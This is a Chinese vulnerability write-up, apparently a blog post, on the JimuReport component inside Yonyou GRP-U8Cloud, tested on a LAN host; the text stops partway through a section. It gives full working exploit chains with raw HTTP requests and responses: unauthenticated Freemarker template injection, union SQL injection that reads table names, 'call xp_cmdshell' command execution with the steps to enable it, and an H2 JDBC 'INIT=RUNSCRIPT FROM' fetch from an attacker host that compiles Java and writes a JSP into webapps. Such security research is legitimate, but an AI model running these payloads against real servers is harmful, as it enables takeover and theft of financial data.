目标http://192.168.168.168:8088(用友 GRP-U8Cloud v11,局域网测试环境)
组件jimureport-spring-boot-starter-1.4.0.jar(JimuReport 积木报表,集成于 U8Cloud webapps)
Freemarker 版本freemarker-2.3.31
漏洞类型:Freemarker 模板注入(SSTI)→ 任意命令执行(RCE)

1. 漏洞概述

JimuReport(积木报表)是 JeecgBoot 生态的报表组件,GRP-U8Cloud 将其以 jimureport-spring-boot-starter-1.4.0.jar 形式集成。该版本存在 Freemarker 模板注入漏洞

  1. 用户可控输入(sql 参数 / dbDynSql  数据库模板字段)被拼入 Freemarker 模板;

  2. 渲染时 Configuration.setClassicCompatible(true)未做任何危险类过滤(无沙箱);

  3. 攻击者可通过 ?new() 内置函数实例化 freemarker.template.utility.ExecuteObjectConstructor(可构造任意对象,包括 java.lang.ProcessBuilder)实现 任意命令执行

关键结论:

  • 同一渲染调用链上共发现并实证 5 个 rce 入口queryFieldBySqlloadTableData(直传型),showexportAllExcelexportPdf(库表型,需先写库)。

  • @JimuLoginRequired 注解形同虚设save / saveDb 等写接口在无 token 情况下直接可写。攻击者可完全自主构建恶意报表,使 show 链从"条件性利用"升级为"无条件利用",且写入的恶意数据集持久化在数据库中,可反复触发。

  • 已实证的利用方式为命令执行 + 相对路径穿越写文件到 webapps 目录(..\U8System\Tomcat\webapps\r7.png),HTTP 访问返回 200 确认落盘。


2. 代码分析(反编译证据)

以下代码均反编译自 webapps/WEB-INF/lib/jimureport-spring-boot-starter-1.4.0.jar(类经过混淆,方法名为单字母)。

Java(编程语言)

2.1 渲染链核心:FreeMarkerUtils

org.jeecg.modules.jmreport.desreport.render.utils.FreeMarkerUtils 的静态渲染方法——所有 rce 的最终 Sink

public static String a(String string, Map<String, Object> map) {
    if (string == null) {
        return null;
    }
    Configuration configuration = new Configuration();           // 全新配置,无沙箱
    configuration.setNumberFormat("#.#########");
    configuration.setSharedVariable("func", (TemplateModel)new FunctionMethod());
    map.put("jeecg", new a());
    map.put("isNotEmpty", new b());
    configuration.setClassicCompatible(true);                    // 经典兼容模式 → ?new() 可用
    StringWriter stringWriter = new StringWriter();
    try {
        new Template("template", (Reader)new StringReader(string), configuration)
            .process(map, (Writer)stringWriter);                 // 直接渲染用户输入
    } catch (TemplateException templateException) {
        templateException.printStackTrace();
    } catch (IOException iOException) {
        iOException.printStackTrace();
    }
    return stringWriter.toString();
}

漏洞根因

  • setClassicCompatible(true)?new() 内置函数生效的必要条件;

  • freemarker.core.Configurable 沙箱(TemplateClassResolver 未设置,默认允许任意类实例化);

  • 模板内容来自用户输入,无任何转义/白名单。

?new()freemarker.template.utility.ObjectConstructor(FreeMarker 2.3.x 内建),可构造任意有 public 构造器的类——本报告中用它实例化 freemarker.template.utility.Execute(字符串参数命令执行)与 java.lang.ProcessBuilder(进程数组启动)。

2.2 直传型入口:queryFieldBySql / loadTableData

控制器 org.jeecg.modules.jmreport.desreport.a.a(DesignReportController,@RequestMapping("/jmreport")):

@PostMapping(value={"/queryFieldBySql"})
public Result<?> a(@RequestBody JSONObject jSONObject) {
    String string = jSONObject.getString("sql");        // ← 用户直传 SQL 模板
    String string2 = jSONObject.getString("dbSource");
    Object object = jSONObject.get("paramArray");
    ...
    Map map = this.reportDbService.parseReportSql(string, string2, object, string3);
    ...
}

Service 实现 org.jeecg.modules.jmreport.desreport.service.a.i(parseReportSql 反编译片段,来自实测输出回显的堆栈类):

黑客与破解

public Map<String, Object> parseReportSql(String sql, String dbKey, Object paramArray, String type) {
    ...
    sql = e.a((String)sql, null, (Object)paramArray);   // 渲染函数:替换参数 + FreeMarker 渲染
    ...
}

util.e 类中该渲染方法的字节码( javap 确认):

// 遍历 paramArray,paramValue 交给 Aviator 表达式引擎 express.b.a 求值
// 将结果替换回 SQL 中的 ${paramName} 与 '${paramName}' 占位符
286: aload_1            // sql
287: aload_3            // map
288: invokestatic FreeMarkerUtils.a:(Ljava/lang/String;Ljava/util/Map;)Ljava/lang/String;   // ← SSTI Sink
291: areturn

/jmreport/loadTableData/jmreport/queryFieldBySql 最终都走到 e.a(sql, paramArray)FreeMarkerUtils.a(sql, map)。实测两个入口均确认模板执行。

编程

2.3 库表型入口:getBaseSql 渲染 dbDynSql

org.jeecg.modules.jmreport.desreport.service.a.e(JimuReportServiceImpl)中 getBaseSql(JmReportDb, JSONObject)

// 关键字节码:
//  - 遍历 JmReportDbParam 列表,searchFlag=1 时取 queryParam 中的值,否则取 paramValue
//  - dbDynSql + paramsMap 交给 e.b 处理 where 参数
313: aload_5                                    // dbDynSql(数据库里存的 SQL 模板)
315: aload_9                                    // paramsMap
317: invokestatic FreeMarkerUtils.a:(Ljava/lang/String;Ljava/util/Map;)Ljava/lang/String;   // ← SSTI Sink
320: astore_5
322: aload_5
324: areturn

dbDynSql 来自 jmreport_jm_report_db 表(JmReportDb 实体),通过 /jmreport/saveDb 写入、/jmreport/show/jmreport/exportAllExcel/jmreport/exportPdf 等渲染入口触发。该链路证实:攻击者写入的模板会被持久化并在报表渲染时反复执行

2.4 决定性发现:@JimuLoginRequired 形同虚设

saveDbsave 端点均标注了 @JimuLoginRequired,但该注解没有任何生效的拦截器实现——实测不带任何 Cookie / Authorization 头直接调用即返回成功写入。这意味着攻击面从"需要先拿到一个合法报表 id 才能利用"升级为:

软件实用程序

  1. 攻击者无凭证即可 saveDb 写入任意 dbDynSql 模板;

  2. 无凭证即可 save 创建/更新报表,把 数据集绑定到报表;

  3. 无凭证即可调用 show / exportAllExcel / exportPdf 触发渲染执行命令

saveReport 的语义(字节码确认):JSON 顶层字段 excel_config_id 指定要更新的报表 id;jsonStr 保存为移除 designerObj 之后的整个 JSON。本测试中 {"id":""} 的 naive 调用会创建一条 jsonStr=null 的垃圾报表(后续 show 时 NPE 500),正确用法必须带 excel_config_id

2.5 潜在注入面:paramArray → Aviator 表达式( 已完整调查)

2.5.1 反编译确认的注入链

queryFieldBySqlparamArray 字段(JSON 数组)沿以下链路进入表达式引擎:

POST /jmreport/queryFieldBySql
{"sql": "select '${p}' as val", "paramArray": [{"paramName":"p","paramValue":"=1+1"}]}

controller a.a(JSONObject)            paramArray = jSONObject.get("paramArray")
  → service.i.parseReportSql(sql, dbKey, paramArray, type)
      → util.e.a(sql, null, paramArray)                ← 3 参版本
          ├─ SqlInjectionUtil.specialFilterContentForOnlineReport(sql)   ← 过滤对象是 sql, 不含 paramValue
          ├─ util.e.b(sql, map)                        #{...} 替换
          ├─ util.e.a(paramArray, sql)                 ← ★ paramArray 处理
          │    ├─ JSONArray.parseArray(String.valueOf(paramArray))       ← fastjson 解析
          │    ├─ 每项取 paramName / paramValue
          │    ├─ paramValue → express.b.a(paramValue, null)             ← ★★ Aviator 执行点
          │    │    └─ "=" 前缀 → AviatorEvaluator.newInstance().compile(expr).execute(new HashMap())
          │    │         (实例仅设 Options.TRACE_EVAL, 无安全 FeatureSet)
          │    ├─ string.replace("${"+paramName+"}", 结果)  及 '${paramName}' 形态
          │    └─ FreeMarkerUtils.a(sql, hashMap)      ← ★★★ freemarker 渲染(new Template(sql).process, classicCompatible=true)
          └─ util.e.a(sql, "$")                        残余 ${...} where/and/or 归一化

关键事实:

  1. express.b.a(String, Map) 的执行条件(反编译):paramValue trim() 后以 = 开头即
    compile(expr).execute(new HashMap())注意是 replace("=", "") 替换全部等号,表达式中
    == 会被破坏;非 = 前缀原样返回)

  2. paramValue 完全不过滤specialFilterContentForOnlineReport 只作用于 sql(parseReportSql
    开头执行),paramValue 独立注入、结果原样替换进 sql——绕过过滤的独立通道

  3. FreeMarkerUtils.a 是无条件渲染点:3 参版本对 paramArray 为 null/[] 的请求同样调用
    FreeMarkerUtils.a(sql, map)new Template(sql).process(map),classicCompatible=true)——
    这就是主 RCE 渲染点(§2.1),paramArray 的有无只决定是否额外执行 Aviator

2.5.2 Aviator 4.2.6 能力边界(目标 jar 本地实测)

用 WEB-INF/lib 真实 aviator-4.2.6.jar 编译执行验证(/tmp/AviTest* 系列,全部无害表达式):

表达式形态

结果

说明

1+110 % 3

2 / 1

数学运算

string.substring('FMV-8888',0,4)string.length(...)string.contains(...)string.join(...)

FMV- / 8 / true / a-b-c

内置函数命名空间

math.pow(2,10)math.round(3.6)

1024.0 / 4.0

内置函数(注意小写,Math.pow 大写不行)

seq.list(...)print(...)sysdate()

seq 函数 / print / jmreport 注册函数

java.lang.System.getProperty('user.name')

FunctionNotFound

静态方法链不可用

Math.pow(2,10)

FunctionNotFound

大写类名同样不可用

'a'.toUpperCase()

语法错误

字符串字面量不支持 . 方法调用

import java.lang.System; ... / #import("...")

语法错误 / 函数缺失

模块导入不可用

toUpperCase('fmv')(函数式实例反射)

FunctionNotFound

jar 内 JavaMethodReflectionFunctionMissing 存在但未挂载

new ArrayList()

语法错误

无构造/实例化语法

根因:aviator-4.2.6 无 Feature 枚举包jar tf 确认无 com/googlecode/aviator/feature/),
不存在 StaticMethod / NewInstance 等特性开关,FunctionMissing 钩子也未挂载——表达式求值
不可能触达任意 Java 类方法。结论:paramArray→Aviator 为表达式求值级注入(任意算术/内置
函数),无命令执行、无反射、无文件/网络操作能力
,影响显著低于 freemarker SSTI 主链。

2.5.3 附加发现

  • A. 主渲染点定位:§2.1 渲染链的调用方确认是 util.e.a(String, Map, Object) 3 参版本
    末尾无条件调用的 FreeMarkerUtils.a——paramArray 有无都渲染,P1-P12 混淆谱系绕过的过滤
    与渲染点关系闭环

  • B. 零过滤 SQL 注入通道( 目标实测确认):paramValue 为任意字符串时原样替换
    进 sql 并由 JDBC 真实执行
    (绕过 SqlInjectionUtil.specialFilterContentForOnlineReport——过滤对象
    是 sql 原文,paramValue 在过滤后注入)。实测要点与证据:

    • paramArray 请求结构(实测发现):目标端必须传 JSON 字符串形态
      "paramArray": "[{\"paramName\":\"p\",\"paramValue\":\"...\"}]";直接传数组对象
      [{"paramName":...}]expect ':' at 0(500,fastjson 解析异常),传对象形态报
      syntax error, expect [, actual {

    •  数据库确认:SQL Server(报错泄漏 com.microsoft.sqlserver.jdbc.SQLServerException
      注入 -- 注释生效而 # 注释失败)

    • 字段名回显(queryFieldBySql,无鉴权):paramValue 1' as inj -- → 最终
      select '1' as inj --' as val → 响应 fieldList 列名由 val 变为 inj

    • 数据回显(/jmreport/loadTableData,无 @JimuLoginRequired 鉴权,回显数据行)
      paramValue x' as val union select 'DATA-OK' as val-- → 最终
      select 'x' as val union select 'DATA-OK'-- 注释掉尾部)→ 响应
      records: [{"val":"x"},{"val":"DATA-OK"}]——union 注入数据完整回显

    • 形态适配要点:SQL Server union 结果列名取第一个 SELECT(两侧别名须一致,否则
      wrapper 引用报 列名无效/8155);loadTableData 分页 wrapper 按解析出的最后 select
      列表项引用列名;select 列表不允许布尔比较表达式('x'='x'关键字 'AS' 附近语法错误

    • 拖库能力证明(,只读元数据):union 读 sysobjects 表名完整回显——
      x' as val union select top 3 name as val from sysobjects--sysclones/sysrowsets/
      sysrscolswhere xtype='U' 过滤用户表 → FA_KP、FEM_CZRZ、GL_Dlzgsnr、HBG_TB_VER_JFB、
      Pub_DJLXFzx
      (典型 GRP-U8 业务表:FA 固定资产、GL 总账、Pub_ 公共档案),确认目标库为
      用友账套库;同一形态可将 name 换为任意列/表读取账务数据(本次未做,保持只读边界)

    • 全部实测 payload 仅改查询返回内容(别名/常量行/表名),未触碰数据;注入进 sql 的报错回显
      本身即可作无回显确认手段

  • C. 堆叠查询不支持,但 call 前缀存储过程通道 = 直接 RCE( 目标实测确认)

    • 堆叠结论(双证据):paramValue 注入 x' as val; select 'STACK-OK' as val--; 分隔多语句):
      queryFieldBySql 报 解析失败;loadTableData 报错泄漏完整执行 SQL——
      select count(0) from ( select 'x' as val; select 'STACK-OK' as val--' as val ) tmp_co...——
      注入 sql 在查询路径被包进分页 count 子查询(selectPageBySql wrapper),SQL Server 子查询内
      ; 多语句非法,传统堆叠不可用;该报错同时再次泄漏"注入后完整 SQL 文本"

    • 参数陷阱(实测):loadTableData 查询路径必须带 pageNo/pageSize(缺则内部 NPE 报
      SQL执行失败,{}null——此前成功请求均带 pageNo=1&pageSize=10);executeProcedure(call)通道
      不受此限制

    • call 通道(反编译证据)loadTableDatae.a(sql, paramArray) 渲染替换后调用
      e.f(sql):sql trim 后以 call 开头(大小写不敏感) 即返回 { + sql + }(JDBC
      CallableStatement 转义语法),非 call 开头返回 null 走查询路径;非空分支 →
      jmreportDynamicDbUtil.executeProcedure(dbKey, string2)
      JdbcTemplate.execute(procedure, CallableStatementCallback)(回调首行即
      CallableStatement.executeQuery() 收集结果集)——JDBC 直接执行存储过程,绕过全部分页
      包装,结果集经 e.b 回显为 records

    • xp_cmdshell RCE 实证(只读 whoami,符合无害约束)sql=call xp_cmdshell('whoami')
      {"success":true,"code":200,"result":{"records":[{"output":"nt authority\\system"},{"output":null}]}}
      ——xp_cmdshell 已启用(默认禁用,该环境已开),以 SYSTEM 权限执行,命令输出逐行回显

    • 配置查值确认(union 查 sys.configurations)show advanced options=1xp_cmdshell=1

    • 开启序列(未启用目标用)call sp_configure('show advanced options',1)
      call reconfigure()call sp_configure('xp_cmdshell',1)call reconfigure()
      call xp_cmdshell('<cmd>')。实测:sp_configure/reconfigure 请求返回 SQL执行失败,{}null
      属预期——executeProcedure 回调用 executeQuery() 取结果集,二者不返回结果集必然抛异常,
      但 JDBC 先执行过程再取结果集,配置变更已实际执行(RECONFIGURE 立即生效无需重启);
      以最后一步 xp_cmdshell 的输出判断是否开启成功。开启为持久服务器配置变更,仅限授权测试环境

    • 通用性call sp_who() 对照同样成功(完整回显会话列表)——任意存储过程执行 + 结果
      回显
      的通用通道,call xp_cmdshell('<任意命令>') 即系统命令执行,输出回显

    •  数据库连接账号 sa(sp_who 输出 loginame=sa,sysadmin 角色)→ xp_cmdshell 权限完整;
      本次仅执行只读 whoami 证明,未执行其他命令

  • D. HTTP raw 报文实录(完整无省略, 目标实测):以下请求报文与响应均为测试环境
    完整实录——请求体即线上字节(JSON 接口原样展示;表单接口展示 urlencoded 后字节),响应为
    完整 JSON 未截断。表单字段顺序:dbSource/sql/paramArray/tableName/pageNo/pageSize。

    1) queryFieldBySql 字段名回显(paramValue 1' as inj --,列名 val→inj):

    POST /jmreport/queryFieldBySql HTTP/1.1
    Host: 192.168.168.168:8088
    Content-Type: application/json
    Content-Length: 133
    
    {"sql": "select '${p}' as val", "dbSource": "", "paramArray": "[{\"paramName\":\"p\",\"paramValue\":\"1' as inj --\"}]", "type": "0"}
    {"success":true,"message":"解析成功","code":200,"result":{"paramList":[],"fieldList":[{"fieldName":"inj","fieldText":"inj","widgetType":"String","orderNum":1}]},"timestamp":1786199872684}

    2) loadTableData 数据回显(paramValue x' as val union select 'DATA-OK' as val--):

    POST /jmreport/loadTableData HTTP/1.1
    Host: 192.168.168.168:8088
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 200
    
    dbSource=&sql=select+%27%24%7Bp%7D%27+as+val&paramArray=%5B%7B%22paramName%22%3A%22p%22%2C%22paramValue%22%3A%22x%27+as+val+union+select+%27DATA-OK%27+as+val--%22%7D%5D&tableName=&pageNo=1&pageSize=10
    {"success":true,"message":"","code":200,"result":{"total":[{"val":"x"},{"val":"DATA-OK"}],"records":[{"val":"x"},{"val":"DATA-OK"}]},"timestamp":1786199872762}

    3) loadTableData 表名读取(sysobjects xtype='U',GRP-U8 账套库业务表):

    脚本语言

    POST /jmreport/loadTableData HTTP/1.1
    Host: 192.168.168.168:8088
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 235
    
    dbSource=&sql=select+%27%24%7Bp%7D%27+as+val&paramArray=%5B%7B%22paramName%22%3A%22p%22%2C%22paramValue%22%3A%22x%27+as+val+union+select+top+5+name+as+val+from+sysobjects+where+xtype%3D%27U%27--%22%7D%5D&tableName=&pageNo=1&pageSize=10
    {"success":true,"message":"","code":200,"result":{"total":[{"val":"FA_KP"},{"val":"FEM_CZRZ"},{"val":"HBG_TB_VER_JFB"},{"val":"x"}],"records":[{"val":"FA_KP"},{"val":"FEM_CZRZ"},{"val":"HBG_TB_VER_JFB"},{"val":"x"}]},"timestamp":1786199872787}

    4) loadTableData 配置查值(sys.configurations 确认 xp_cmdshell=1 / show advanced options=1):

    POST /jmreport/loadTableData HTTP/1.1
    Host: 192.168.168.168:8088
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 340
    
    dbSource=&sql=select+%27%24%7Bp%7D%27+as+val&paramArray=%5B%7B%22paramName%22%3A%22p%22%2C%22paramValue%22%3A%22x%27+as+val+union+select+name%2B%27%3D%27%2Bconvert%28varchar%285%29%2Cvalue_in_use%29+as+val+from+sys.configurations+where+name+in+%28%27xp_cmdshell%27%2C%27show+advanced+options%27%29--%22%7D%5D&tableName=&pageNo=1&pageSize=10
    {"success":true,"message":"","code":200,"result":{"total":[{"val":"show advanced options=1"},{"val":"x"},{"val":"xp_cmdshell=1"}],"records":[{"val":"show advanced options=1"},{"val":"x"},{"val":"xp_cmdshell=1"}]},"timestamp":1786199808697}

    5) loadTableData 堆叠探测; 多语句,报错泄漏分页包装 SQL——堆叠不支持证据):

    POST /jmreport/loadTableData HTTP/1.1
    Host: 192.168.168.168:8088
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 198
    
    dbSource=&sql=select+%27%24%7Bp%7D%27+as+val&paramArray=%5B%7B%22paramName%22%3A%22p%22%2C%22paramValue%22%3A%22x%27+as+val%3B+select+%27STACK-OK%27+as+val--%22%7D%5D&tableName=&pageNo=1&pageSize=10
    {"success":false,"message":"SQL执行失败,{}PreparedStatementCallback; uncategorized SQLException for SQL [select count(0) from ( \nselect 'x' as val; select 'STACK-OK' as val--' as val\n ) tmp_co","code":500,"result":null,"timestamp":1786199848364}

    6) loadTableData call 通道——xp_cmdshell 命令执行(RCE 实证,只读 whoami):

    POST /jmreport/loadTableData HTTP/1.1
    Host: 192.168.168.168:8088
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 98
    
    dbSource=&sql=call+xp_cmdshell%28%27whoami%27%29&paramArray=%5B%5D&tableName=&pageNo=1&pageSize=10
    {"success":true,"message":"","code":200,"result":{"records":[{"output":"nt authority\\system"},{"output":null}]},"timestamp":1786199831314}

    7) loadTableData call 通道——sp_configure 开启步骤(无结果集报错属预期,配置已执行):

    POST /jmreport/loadTableData HTTP/1.1
    Host: 192.168.168.168:8088
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 118
    
    dbSource=&sql=call+sp_configure%28%27show+advanced+options%27%2C1%29&paramArray=%5B%5D&tableName=&pageNo=1&pageSize=10
    {"success":false,"message":"SQL执行失败,{}null","code":500,"result":null,"timestamp":1786199767xxx}

    其余开启步骤同构:call reconfigure()call sp_configure('xp_cmdshell',1)call reconfigure()
    全部返回上述"SQL执行失败,{}null"(executeQuery 无结果集),最后 call xp_cmdshell('whoami')
    验证(报文 6 形态)返回 SYSTEM 权限输出即开启成功。

2.5.4 端到端验证(本地,真实 jar 全链路)

工具 fmfuzz.jar --param-avi EXPR 生成成品 → fastjson 1.2.83 解析 → aviator 4.2.6 真实求值 →
替换 ${p} → freemarker 2.3.31 渲染(/tmp/E2E.Java),全部命中:

--param-avi '1+1'                                → 最终 sql: select '2' as val
--param-avi '1+1' -J -j 1(全\u 转义形态)         → 最终 sql: select '2' as val
--param-avi "string.substring('FMV-8888',0,4)"   → 最终 sql: select 'FMV-' as val
--param-avi 'sysdate()'                          → 最终 sql: select '<服务器日期>' as val

用友GRP-U8Cloud产品jmreport组件模块Freemarker模板SSTI致RCE漏洞分析 - Mrxn's Blog.html

2.6 决定性发现:testConnection 无鉴权 JDBC 任意连接( 目标实测)

2.6.1 反编译确认的接口与连接链

DesignReportController(混淆名 a 类,/jmreport 前缀)中存在无鉴权 数据源测试连接接口:

@PostMapping(value={"/testConnection"})              // 无 @JimuLoginRequired、无 HttpServletRequest
public Result a(@RequestBody JmreportDynamicDataSourceVo vo) {
    Connection connection = null;
    try {
        if (this.jmreportNoSqlUtil.isHave(JmConst.NO_SQL, vo.getDbType())) {   // NoSQL 分支
            boolean bl = this.jmreportNoSqlUtil.testConnection(vo);
            if (bl) { ... return; }
            return Result.error("数据库连接失败:错误未知");
        }
        Class.forName(vo.getDbDriver());              // ← 任意类加载(initialize=true 执行静态块)
        DriverManager.setLoginTimeout(60);
        connection = DriverManager.getConnection(     // ← 任意 JDBC URL + user/pass
            vo.getDbUrl(), vo.getDbUsername(), vo.getDbPassword());
        if (connection != null) return Result.OK("数据库连接成功", true);
        ...
    }
    catch (ClassNotFoundException e) { return Result.error("数据库连接失败:驱动类不存在"); }
    catch (Exception e) { return Result.error("数据库连接失败:" + e.getMessage()); }  // ← 异常原文回显
    finally { if (connection != null && !connection.isClosed()) connection.close(); }
}
  • 无鉴权:方法无 @JimuLoginRequired、无 HttpServletRequest(注解需从请求取 token,此方法根本没有)→
    实测无 token 直调返回业务响应(非 401/403)

  • 全参数可控(VO 字段,JSON body 直传):dbDriver / dbUrl / dbUsername / dbPassword / dbType

  • 连接链Class.forName(dbDriver)(类不存在 → "驱动类不存在")→ DriverManager.getConnection(dbUrl, user, pass)
    ——裸 DriverManager,无连接池、无 URL 白名单,按 URL 前缀匹配 classpath 全部已注册驱动

  • 异常原文回显exception.getMessage() 直接拼进返回 JSON

classpath 全部 JDBC 驱动(均可被任意调用,WEB-INF/lib 清单):

驱动

jar

可利用面

H2

h2-2.2.224.jar

INIT 通道:连接阶段执行任意 SQL/ Java(实测,见 2.6.3)

MySQL

mysql-connector- java-8.0.25.jar

出站 TCP + 认证(SSRF);autoDeserialize 需查询触发,此接口不可用

jTDS

jtds-1.3.1.jar

出站 TCP(SSRF)

SQL Server

sqljdbc4-4.1.jar

出站 TCP(SSRF)

Oracle

ojdbc6-11.2.0.jar

出站 TCP(SSRF)

达梦/瀚高/金仓/神通

Dm7 / Hgdb / kingbase8 / oscar

出站 TCP(SSRF)

HikariCP / Druid

连接池(另路 getHikariDataSource/getDruidDataSource 用)

本接口不经过

NoSQL 分支(dbType 含 redis/mongodb 关键字即进入 JmreportNoSqlUtil.testConnection):

  • Redisnew Jedis(HostAndPort.parseString(dbUrl)) + jedis.auth(dbPassword) + jedis.ping()
    ——实测根因 500:classpath 为 jedis-2.9.0(javap 确认Jedis(HostAndPort) 构造,仅有
    String/int/SSL 系),jmreport 按更高版本 jedis 编译 → 运行期 NoSuchMethodError(Error 子类
    逃逸 catch(Exception))→ 全局 500 "服务器出错,请重试";出站永不发生,Redis 面实际不可利用

  • MongoDBnew MongoClient(host:port) + SCRAM-SHA-1 认证握手,connectTimeout(3) 毫秒
    硬编码 → 实测返回" 数据库连接失败:错误未知"(API 匹配、异常正常捕获);3ms 超时出站几乎不可达

2.6.2 JNDI 面结论(代码级)

  • DriverManager.getConnection 本身不支持 jdbc:jndi: 协议;classpath 无 commons-dbcp /
    tomcat-jdbc
    → DBCP/Tomcat 的 JNDI 数据源协议不可用

  • 实际的"JNDI 级"面 = H2 引擎内任意 SQL/Java 执行(INIT 通道,见 2.6.3):
    远程脚本执行(RUNSCRIPT FROM http)、内联  Java 源码编译(CREATE ALIAS)、任意静态方法引用
    (CREATE ALIAS FOR 类.方法)、任意路径文件创建(file 模式)

  • MySQL 8.0.25 的 autoDeserialize/queryInterceptors 反序列化链需要连接后执行 SELECT
    触发,本接口仅建连即 close → 不可用

2.6.3 实测证据(全部无害形态,)

#

测试

请求要点

实测结果

1

无鉴权

无任何 token 直调

{"success":false,"message":"数据库连接失败:驱动类不存在",...} ——业务响应非 401 ✓

2

驱动类加载

dbDriver=com.nonexist.DriverX

回显"驱动类不存在" → Class.forName(dbDriver) 确认执行 + 错误回显 ✓

3

SSRF + 远程 SQL 脚本执行

dbDriver=org.h2.DriverdbUrl=jdbc:h2:mem:fmvprobe;INIT=RUNSCRIPT FROM 'http://192.168.168.167:8001/init.sql'(脚本内容:CREATE ALIAS IF NOT EXISTS FMV_PROBE FOR 'java.lang.System.getProperty';,纯定义无副作用)

攻击机监听日志 192.168.168.168 GET /init.sql 200 + 返回"数据库连接成功"——INIT 在连接阶段执行了攻击机可控的远程 SQL 脚本

4

H2 内联 Java 源码编译(RCE 链关键环节)

init2.sql 内容:CREATE ALIAS IF NOT EXISTS FMV_COMPILE AS 'String fmvCompile(){ return "FMV-COMPILE-OK"; }';

目标 GET /init2.sql 200 + 连接成功(Java 源码编译通过)→ 脚本中追加 CALL <别名>(...) 即在目标 JVM 内执行任意 Java 代码,连接建立即触发、无需后续查询( javac 由 H2 调 JSR-199 API,Tomcat 进程为 JDK 时可用)✓

5

任意路径文件创建

dbUrl=jdbc:h2:file:../U8System/Tomcat/webapps/fmvprobe(工作目录相对路径,与既知 io-write 链同目录)

连接成功 → http://192.168.168.168:8088/fmvprobe.mv.db HTTP 200,16,384 字节——无鉴权在 webapps 下创建文件 ✓

6

INIT 对照(证明 INIT 真实执行)

dbUrl=...;INIT=THIS IS NOT VALID SQL

回显 H2 语法错误 [42001-224]——INIT 内容被真实解析执行 ✓

7

Redis 分支

dbType=redis,dbUrl 指向攻击机监听 6390

0.015s 内返回全局 500;攻击机 30s 无任何连接——NoSuchMethodError 确认(2.6.1),出站不发生 ✓(负面证据)

8

MongoDB 分支

dbType=mongodb,dbUrl 指向攻击机 6391

返回" 数据库连接失败:错误未知",0.013s 即失败(connectTimeout=3ms)✓(负面证据)

9

后缀控制(H2 直写模式,负面)

dbUrl=jdbc:h2:file:../U8System/Tomcat/webapps/fmvprobe2.jsp

实际生成 fmvprobe2.jsp.mv.db(16KB,头 H:2,bloc = H2 MVStore magic),URL /fmvprobe2.jsp 404 → H2 直写自动追加 .mv.db 且内容为数据库格式,无法直接产出可执行 JSP

10

 Java 写文件通道:任意后缀 + 任意内容(RCE 链完整落地)

脚本内 CREATE ALIAS ... AS 'Java源码' + CALL,Java 代码 Files.write 写入 webapps/fmvprobe.jsp,内容 <%out.print("FMV-JSP-OK");%>

HTTP 访问返回 FMV-JSP-OK(10 字节,即 JSP 执行结果而非源码原文)——Tomcat 真实编译执行了新写入的 JSP ✓;后缀、内容、目标目录 100% 可控

11

WEB-INF 目录可写

同通道写 webapps/WEB-INF/fmvprobe_webinf.txt(13 字节)

写后 Java 读回文件大小并抛异常,回显 FMV-WEBINF-WRITTEN:13 → WEB-INF 可写 ✓(Tomcat 保护 /WEB-INF 不可 HTTP 直读,故用写后读回 + 异常回显确认)

12

目录不存在时自动创建

dbUrl=jdbc:h2:file:../U8System/Tomcat/webapps/fmvprobe_dir_auto/sub/test(两级目录均不存在)

05fa3886-8607-4b53-beb5-b32f2cc56be8.png

2.6.4 HTTP raw 报文实录(完整无省略, 目标实测重放)

以下请求报文与响应均为测试环境完整实录——请求体即线上字节,响应为完整 JSON 未截断。
攻击机 HTTP 服务监听于 192.168.168.167:8001,目标 192.168.168.168:8088

1) JSP 写入与执行(Java 写文件通道,对应证据 #10)

攻击机 write.sql 内容(含内联 Java 源码定义 + CALL 执行):

CREATE ALIAS IF NOT EXISTS FMVWRITE AS 'void fmvWrite() throws Exception { java.nio.file.Files.write(java.nio.file.Paths.get("../U8System/Tomcat/webapps/fmvprobe.jsp"), "<%out.print(\"FMV-JSP-OK\");%>".getBytes("UTF-8")); }';
CALL FMVWRITE();
POST /jmreport/testConnection HTTP/1.1
Host: 192.168.168.168:8088
Content-Type: application/json
Content-Length: 174

{"dbType":"2","dbDriver":"org.h2.Driver","dbUrl":"jdbc:h2:mem:fmvjspprobe;INIT=RUNSCRIPT FROM 'http://192.168.168.167:8001/write.sql'","dbUsername":"","dbPassword":""}
{"success":true,"message":"数据库连接成功","code":200,"result":true,"timestamp":1786258420519}

随后访问新写入的 JSP(Tomcat 编译执行,返回的是执行结果 10 字节而非源码原文 45 字节):

GET /fmvprobe.jsp HTTP/1.1
Host: 192.168.168.168:8088
HTTP/1.1 200
Set-Cookie: JSESSIONID=BB229892076A1871C9D25EE9FD5A7187; Path=/; HttpOnly
Content-Type: text/html;charset=ISO-8859-1

FMV-JSP-OK

2) H2 直写后缀控制(负面证据,对应证据 #9)

POST /jmreport/testConnection HTTP/1.1
Host: 192.168.168.168:8088
Content-Type: application/json
Content-Length: 146

{"dbType":"2","dbDriver":"org.h2.Driver","dbUrl":"jdbc:h2:file:../U8System/Tomcat/webapps/fmvprobe2.jsp","dbUsername":"","dbPassword":""}
{"success":true,"message":"数据库连接成功","code":200,"result":true,"timestamp":1786258372484}

文件确认——URL /fmvprobe2.jsp 404;实际生成 fmvprobe2.jsp.mv.db(H2 自动追加 .mv.db),
内容为 H2  数据库格式(MVStore 文件头)而非 JSP 内容:

HTTP/1.1 200
Content-Type: application/octet-stream
Content-Length: 16384

H:2,block:3,blockSize:1000,chunk:2,clean:1,created:19fe54c7424,format:3,version:2,fletcher:857d4911
(后续为二进制数据库页,非 JSP 语法)

3) 目录不存在时自动创建(对应证据 #12)

POST /jmreport/testConnection HTTP/1.1
Host: 192.168.168.168:8088
Content-Type: application/json
Content-Length: 159

{"dbType":"2","dbDriver":"org.h2.Driver","dbUrl":"jdbc:h2:file:../U8System/Tomcat/webapps/fmvprobe_dir_auto/sub/test","dbUsername":"","dbPassword":""}

连接成功响应同 2)(success:true, 数据库连接成功);随后 GET /fmvprobe_dir_auto/sub/test.mv.db
返回 HTTP 200(16384B,与 2) 相同的 octet-stream 特征)——两级不存在的目录 fmvprobe_dir_auto/sub/
被 H2 建库时递归自动创建。

4) WEB-INF 目录写入(对应证据 #11)

攻击机 write3.sql 内容(写后  Java 读回文件大小并抛异常,经异常回显确认):

